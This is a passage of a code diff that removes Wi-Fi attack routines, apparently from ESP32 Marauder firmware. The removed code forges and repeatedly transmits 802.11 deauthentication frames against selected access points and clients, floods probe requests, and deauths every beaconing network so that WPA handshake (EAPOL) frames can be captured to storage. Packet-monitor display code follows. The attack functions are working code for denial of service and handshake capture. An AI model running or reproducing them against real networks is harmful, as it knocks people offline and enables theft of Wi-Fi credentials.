-      int ssidLen = access_points->get(i).essid.length();
-      //int rand_len = sizeof(rand_reg);
-      int fullLen = ssidLen;
-      prob_req_packet[25] = fullLen;
-
-      // Insert ESSID
-      char buf[access_points->get(i).essid.length() + 1] = {};
-      access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
-      
-      for(int i = 0; i < ssidLen; i++)
-        prob_req_packet[26 + i] = buf[i];
-        
-      /*
-       * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24, 
-                                  0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a, 
-                                  0xad, 0x01, 0x17, 0xff, 0xff, 0x00, 
-                                  0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 
-                                  0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
-                                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
-                                  0x00, 0x00
-       */
-
-      uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12, 
-                              0x18, 0x24, 0x30, 0x48, 0x60, 0x6c, 
-                              0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff, 
-                              0xff, 0x00, 0x00, 0x7e, 0x00, 0x00, 
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
-                              0x00, 0x00, 0x00, 0x00};
-
-      uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
-      
-      for (int i = 0; i < 26 + fullLen; i++)
-        good_probe_req_packet[i] = prob_req_packet[i];
-
-      for(int i = 0; i < 40; i++) 
-        good_probe_req_packet[26 + fullLen + i] = postSSID[i];
-
-      
-
-      // Send packet
-      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
-
-      packets_sent = packets_sent + 3;
-    }
-  }
-}
-
-void WiFiScan::sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]) {
-  WiFiScan::set_channel = channel;
-  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-  
-  // Build AP source packet
-  deauth_frame_default[4] = mac[0];
-  deauth_frame_default[5] = mac[1];
-  deauth_frame_default[6] = mac[2];
-  deauth_frame_default[7] = mac[3];
-  deauth_frame_default[8] = mac[4];
-  deauth_frame_default[9] = mac[5];
-  
-  deauth_frame_default[10] = bssid[0];
-  deauth_frame_default[11] = bssid[1];
-  deauth_frame_default[12] = bssid[2];
-  deauth_frame_default[13] = bssid[3];
-  deauth_frame_default[14] = bssid[4];
-  deauth_frame_default[15] = bssid[5];
-
-  deauth_frame_default[16] = bssid[0];
-  deauth_frame_default[17] = bssid[1];
-  deauth_frame_default[18] = bssid[2];
-  deauth_frame_default[19] = bssid[3];
-  deauth_frame_default[20] = bssid[4];
-  deauth_frame_default[21] = bssid[5];      
-
-  // Send packet
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-  packets_sent = packets_sent + 3;
-
-  // Build AP dest packet
-  deauth_frame_default[4] = bssid[0];
-  deauth_frame_default[5] = bssid[1];
-  deauth_frame_default[6] = bssid[2];
-  deauth_frame_default[7] = bssid[3];
-  deauth_frame_default[8] = bssid[4];
-  deauth_frame_default[9] = bssid[5];
-  
-  deauth_frame_default[10] = mac[0];
-  deauth_frame_default[11] = mac[1];
-  deauth_frame_default[12] = mac[2];
-  deauth_frame_default[13] = mac[3];
-  deauth_frame_default[14] = mac[4];
-  deauth_frame_default[15] = mac[5];
-
-  deauth_frame_default[16] = mac[0];
-  deauth_frame_default[17] = mac[1];
-  deauth_frame_default[18] = mac[2];
-  deauth_frame_default[19] = mac[3];
-  deauth_frame_default[20] = mac[4];
-  deauth_frame_default[21] = mac[5];      
-
-  // Send packet
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
-  // Itterate through all access points in list
-  // Check if active
-  WiFiScan::set_channel = channel;
-  esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-  
-  // Build packet
-
-  sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
-        &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
-  
-  deauth_frame_default[10] = bssid[0];
-  deauth_frame_default[11] = bssid[1];
-  deauth_frame_default[12] = bssid[2];
-  deauth_frame_default[13] = bssid[3];
-  deauth_frame_default[14] = bssid[4];
-  deauth_frame_default[15] = bssid[5];
-
-  deauth_frame_default[16] = bssid[0];
-  deauth_frame_default[17] = bssid[1];
-  deauth_frame_default[18] = bssid[2];
-  deauth_frame_default[19] = bssid[3];
-  deauth_frame_default[20] = bssid[4];
-  deauth_frame_default[21] = bssid[5];      
-
-  // Send packet
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-  esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-  packets_sent = packets_sent + 3;
-}
-
-void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
-  // Itterate through all access points in list
-  for (int i = 0; i < access_points->size(); i++) {
-
-    // Check if active
-    if (access_points->get(i).selected) {
-      this->set_channel = access_points->get(i).channel;
-      esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-      delay(1);
-      
-      // Build packet
-
-      sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", 
-            &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
-      
-      deauth_frame_default[10] = access_points->get(i).bssid[0];
-      deauth_frame_default[11] = access_points->get(i).bssid[1];
-      deauth_frame_default[12] = access_points->get(i).bssid[2];
-      deauth_frame_default[13] = access_points->get(i).bssid[3];
-      deauth_frame_default[14] = access_points->get(i).bssid[4];
-      deauth_frame_default[15] = access_points->get(i).bssid[5];
-
-      deauth_frame_default[16] = access_points->get(i).bssid[0];
-      deauth_frame_default[17] = access_points->get(i).bssid[1];
-      deauth_frame_default[18] = access_points->get(i).bssid[2];
-      deauth_frame_default[19] = access_points->get(i).bssid[3];
-      deauth_frame_default[20] = access_points->get(i).bssid[4];
-      deauth_frame_default[21] = access_points->get(i).bssid[5];      
-
-      // Send packet
-      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
-
-      packets_sent = packets_sent + 3;
-    }
-  }
-}
-
-
-void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  #ifdef HAS_SCREEN
-    int buff = display_obj.display_buffer->size();
-  #else
-    int buff = 0;
-  #endif
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-
-    // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
-    #ifndef MARAUDER_MINI
-      if (snifferPacket->payload[0] == 0x80)
-      {
-        num_beacon++;
-      }
-      else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
-      {
-        num_deauth++;
-      }
-      else if (snifferPacket->payload[0] == 0x40)
-      {
-        num_probe++;
-      }
-    #endif
-
-    char addr[] = "00:00:00:00:00:00";
-    getMAC(addr, snifferPacket->payload, 10);
-    display_string.concat(addr);
-
-    int temp_len = display_string.length();
-
-    #ifdef HAS_SCREEN
-      for (int i = 0; i < 40 - temp_len; i++)
-      {
-        display_string.concat(" ");
-      }
-    
-      //Serial.print(" ");
-    
-      #ifdef MARAUDER_MINI
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-    #endif
-
-    addPacket(snifferPacket, len);
-  }
-}
-
-void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  String display_string = "";
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  #ifdef HAS_SCREEN
-    int buff = display_obj.display_buffer->size();
-  #else
-    int buff = 0;
-  #endif
-
-  // Found beacon frame. Decide whether to deauth
-  if (send_deauth) {
-    if (snifferPacket->payload[0] == 0x80) {    
-      // Build packet
-  
-      uint8_t new_packet[26] = {
-                                0xc0, 0x00, 0x3a, 0x01,
-                                0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
-                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                                0xf0, 0xff, 0x02, 0x00
-                            };
-      
-      new_packet[10] = snifferPacket->payload[10];
-      new_packet[11] = snifferPacket->payload[11];
-      new_packet[12] = snifferPacket->payload[12];
-      new_packet[13] = snifferPacket->payload[13];
-      new_packet[14] = snifferPacket->payload[14];
-      new_packet[15] = snifferPacket->payload[15];
-    
-      new_packet[16] = snifferPacket->payload[10];
-      new_packet[17] = snifferPacket->payload[11];
-      new_packet[18] = snifferPacket->payload[12];
-      new_packet[19] = snifferPacket->payload[13];
-      new_packet[20] = snifferPacket->payload[14];
-      new_packet[21] = snifferPacket->payload[15];      
-    
-      // Send packet
-      //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-      //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-      esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-      delay(1);
-    }
-
-
-  }
-
-  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
-    num_eapol++;
-    Serial.println("Received EAPOL:");
-
-    char addr[] = "00:00:00:00:00:00";
-    getMAC(addr, snifferPacket->payload, 10);
-    display_string.concat(addr);
-
-    int temp_len = display_string.length();
-
-   #ifdef HAS_SCREEN
-      for (int i = 0; i < 40 - temp_len; i++)
-      {
-        display_string.concat(" ");
-      }
-
-      Serial.print(" ");
-
-      #ifdef MARAUDER_MINI
-        if (display_obj.display_buffer->size() == 0)
-        {
-          display_obj.loading = true;
-          display_obj.display_buffer->add(display_string);
-          display_obj.loading = false;
-        }
-      #endif
-    #endif
-    
-//    for (int i = 0; i < len; i++) {
-//      char hexCar[4];
-//      sprintf(hexCar, "%02X", snifferPacket->payload[i]);
-//      Serial.print(hexCar);
-      //Serial.print(snifferPacket->payload[i], HEX);
-//      if ((i + 1) % 16 == 0)
-//        Serial.print("\n");
-//      else
-//        Serial.print(" ");
-//    }
-  
-//    Serial.print("\n");
-  }
-
-  addPacket(snifferPacket, len);
-}
-
-void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
-{
-  bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
-  
-  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-  WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
-  wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
-  int len = snifferPacket->rx_ctrl.sig_len;
-
-  if (type == WIFI_PKT_MGMT)
-  {
-    len -= 4;
-    int fctl = ntohs(frameControl->fctl);
-    const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
-    const WifiMgmtHdr *hdr = &ipkt->hdr;
-  }
-
-  // Found beacon frame. Decide whether to deauth
-
-  if (snifferPacket->payload[0] == 0x80) {    
-    // Build packet
-
-    //Serial.println("Recieved beacon frame");
-
-    uint8_t new_packet[26] = {
-                              0xc0, 0x00, 0x3a, 0x01,
-                              0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                              0xf0, 0xff, 0x02, 0x00
-                          };
-    
-    new_packet[10] = snifferPacket->payload[10];
-    new_packet[11] = snifferPacket->payload[11];
-    new_packet[12] = snifferPacket->payload[12];
-    new_packet[13] = snifferPacket->payload[13];
-    new_packet[14] = snifferPacket->payload[14];
-    new_packet[15] = snifferPacket->payload[15];
-  
-    new_packet[16] = snifferPacket->payload[10];
-    new_packet[17] = snifferPacket->payload[11];
-    new_packet[18] = snifferPacket->payload[12];
-    new_packet[19] = snifferPacket->payload[13];
-    new_packet[20] = snifferPacket->payload[14];
-    new_packet[21] = snifferPacket->payload[15];      
-  
-    // Send packet
-    //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-    //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-    esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
-    delay(1);
-  }
-
-
-
-  if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
-    num_eapol++;
-    Serial.println("Received EAPOL:");
-
-//    for (int i = 0; i < len; i++) {
-//      char hexCar[3];
-//      snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
-//      Serial.print(hexCar);
-      //Serial.print(snifferPacket->payload[i], HEX);
-//      if ((i + 1) % 16 == 0)
-//        Serial.print("\n");
-//      else
-//        Serial.print(" ");
-//    }
-  
-//    Serial.print("\n");
-  }
-
-  addPacket(snifferPacket, len);
-}
-
-void WiFiScan::addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len) {
-  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
-  if (save_packet) {
-    #ifdef WRITE_PACKETS_SERIAL
-      buffer_obj.addPacket(snifferPacket->payload, len);
-    #else
-      sd_obj.addPacket(snifferPacket->payload, len);
-    #endif
-  }
-}
-
-#ifdef HAS_SCREEN
-  void WiFiScan::eapolMonitorMain(uint32_t currentTime)
-  {
-    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
-    
-  
-  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
-    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
-    {
-      currentTime = millis();
-      do_break = false;
-  
-      y_pos_x = 0;
-      y_pos_y = 0;
-      y_pos_z = 0;
-      boolean pressed = false;
-  
-      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
-  
-      // Do the touch stuff
-      pressed = display_obj.tft.getTouch(&t_x, &t_y);
-  
-      if (pressed) {
-        Serial.print("Got touch | X: ");
-        Serial.print(t_x);
-        Serial.print(" Y: ");
-        Serial.println(t_y);
-      }
-  
-  
-      // Check buttons for presses
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (pressed && display_obj.key[b].contains(t_x, t_y))
-        {
-          display_obj.key[b].press(true);
-        } else {
-          display_obj.key[b].press(false);
-        }
-      }
-  
-      // Which buttons pressed
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (display_obj.key[b].justPressed())
-        {
-          Serial.println("Bro, key pressed");
-          //do_break = true;
-        }
-  
-        if (display_obj.key[b].justReleased())
-        {
-          do_break = true;
-  
-          // Channel - button pressed
-          if (b == 4) {
-            if (set_channel > 1) {
-              Serial.println("Shit channel down");
-              set_channel--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              //display_obj.tftDrawXScaleButtons(x_scale);
-              //display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-  
-          // Channel + button pressed
-          else if (b == 5) {
-            if (set_channel < MAX_CHANNEL) {
-              Serial.println("Shit channel up");
-              set_channel++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              //display_obj.tftDrawXScaleButtons(x_scale);
-              //display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-          else if (b == 6) {
-            Serial.println("Exiting packet monitor...");
-            this->StartScan(WIFI_SCAN_OFF);
-            //display_obj.tft.init();
-            this->orient_display = true;
-            return;
-          }
-        }
-      }
-  
-      if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
-        //Serial.println("-----------------------------------------");
-        //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
-        x_pos += x_scale;
-        initTime = millis();
-        y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
-        if (y_pos_x >= HEIGHT_1) {
-          Serial.println("Max EAPOL number reached. Adjusting...");
-          num_eapol = 0;
-        }
-        //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
-        //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
-  
-        //Serial.println("num_beacon: " + (String)num_beacon);
-        //Serial.println("num_deauth: " + (String)num_deauth);
-        //Serial.println(" num_probe: " + (String)num_probe);
-  
-        //num_beacon = 0;
-        //num_probe = 0;
-        //num_deauth = 0;
-  
-        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
-        //Plot "X" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
-        //Plot "Z" value
-        //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
-        //Plot "Y" value
-        //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
-  
-        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
-        //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
-        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
-        {
-          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
-        }
-        else
-        {
-          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
-        }
-        //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
-        //if (x_pos <= 90)
-        if (x_pos < 0) // below x axis
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
-        }
-        else
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
-        }
-  
-        //tftDisplayTime();
-  
-        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
-        {
-          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
-        }
-  
-        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
-        //y_pos_y_old = y_pos_y;
-        //y_pos_z_old = y_pos_z;
-  
-        //delay(50);
-      }
-  
-      sd_obj.main();
-  
-    }
-  
-    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
-    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
-    display_obj.tftDrawChannelScaleButtons(set_channel);
-    display_obj.tftDrawExitScaleButtons();
-    display_obj.tftDrawEapolColorKey();
-    display_obj.tftDrawGraphObjects(x_scale);
-  }
-
-  void WiFiScan::packetMonitorMain(uint32_t currentTime)
-  {
-    //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
-    
-    
-  //  for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
-    for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
-    {
-      currentTime = millis();
-      do_break = false;
-      
-      y_pos_x = 0;
-      y_pos_y = 0;
-      y_pos_z = 0;
-      boolean pressed = false;
-      
-      uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
-  
-      // Do the touch stuff
-      pressed = display_obj.tft.getTouch(&t_x, &t_y);
-  
-      if (pressed) {
-        Serial.print("Got touch | X: ");
-        Serial.print(t_x);
-        Serial.print(" Y: ");
-        Serial.println(t_y);
-      }
-  
-  
-      // Check buttons for presses
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (pressed && display_obj.key[b].contains(t_x, t_y))
-        {
-          display_obj.key[b].press(true);
-        } else {
-          display_obj.key[b].press(false);
-        }
-      }
-      
-      // Which buttons pressed
-      for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
-      {
-        if (display_obj.key[b].justPressed())
-        {
-          Serial.println("Bro, key pressed");
-          //do_break = true;
-        }
-  
-        if (display_obj.key[b].justReleased())
-        {
-          do_break = true;
-          
-          // X - button pressed
-          if (b == 0) {
-            if (x_scale > 1) {
-              x_scale--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              break;
-            }
-          }
-          // X + button pressed
-          else if (b == 1) {
-            if (x_scale < 6) {
-              x_scale++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              break;
-            }
-          }
-  
-          // Y - button pressed
-          else if (b == 2) {
-            if (y_scale > 1) {
-              y_scale--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              //updateMidway();
-              break;
-            }
-          }
-  
-          // Y + button pressed
-          else if (b == 3) {
-            if (y_scale < 9) {
-              y_scale++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              //updateMidway();
-              break;
-            }
-          }
-  
-          // Channel - button pressed
-          else if (b == 4) {
-            if (set_channel > 1) {
-              Serial.println("Shit channel down");
-              set_channel--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-  
-          // Channel + button pressed
-          else if (b == 5) {
-            if (set_channel < MAX_CHANNEL) {
-              Serial.println("Shit channel up");
-              set_channel++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-          else if (b == 6) {
-            Serial.println("Exiting packet monitor...");
-            this->StartScan(WIFI_SCAN_OFF);
-            //display_obj.tft.init();
-            this->orient_display = true;
-            return;
-          }
-        }
-      }
-  
-      if (currentTime - initTime >= GRAPH_REFRESH) {
-        //Serial.println("-----------------------------------------");
-        //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
-        x_pos += x_scale;
-        initTime = millis();
-        y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
-        y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
-        y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
-  
-        //Serial.println("num_beacon: " + (String)num_beacon);
-        //Serial.println("num_deauth: " + (String)num_deauth);
-        //Serial.println(" num_probe: " + (String)num_probe);
-    
-        num_beacon = 0;
-        num_probe = 0;
-        num_deauth = 0;
-        
-        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
-        //Plot "X" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
-        //Plot "Z" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
-        //Plot "Y" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
-        
-        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
-        //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
-        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
-        {
-          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
-        }
-        else
-        {
-          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
-        }
-        //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
-        //if (x_pos <= 90)
-        if (x_pos < 0) // below x axis
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
-        }
-        else
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
-        }
-        
-        //tftDisplayTime();
-        
-        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
-        {
-          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
-        }
-         
-        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
-        y_pos_y_old = y_pos_y;
-        y_pos_z_old = y_pos_z;
-    
-        //delay(50);
-      }
-  
-      sd_obj.main();
-     
-    }
-    
-    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
-    //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
-    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
-    
-    display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
-    display_obj.tftDrawYScaleButtons(y_scale);
-    display_obj.tftDrawChannelScaleButtons(set_channel);
-    display_obj.tftDrawExitScaleButtons();
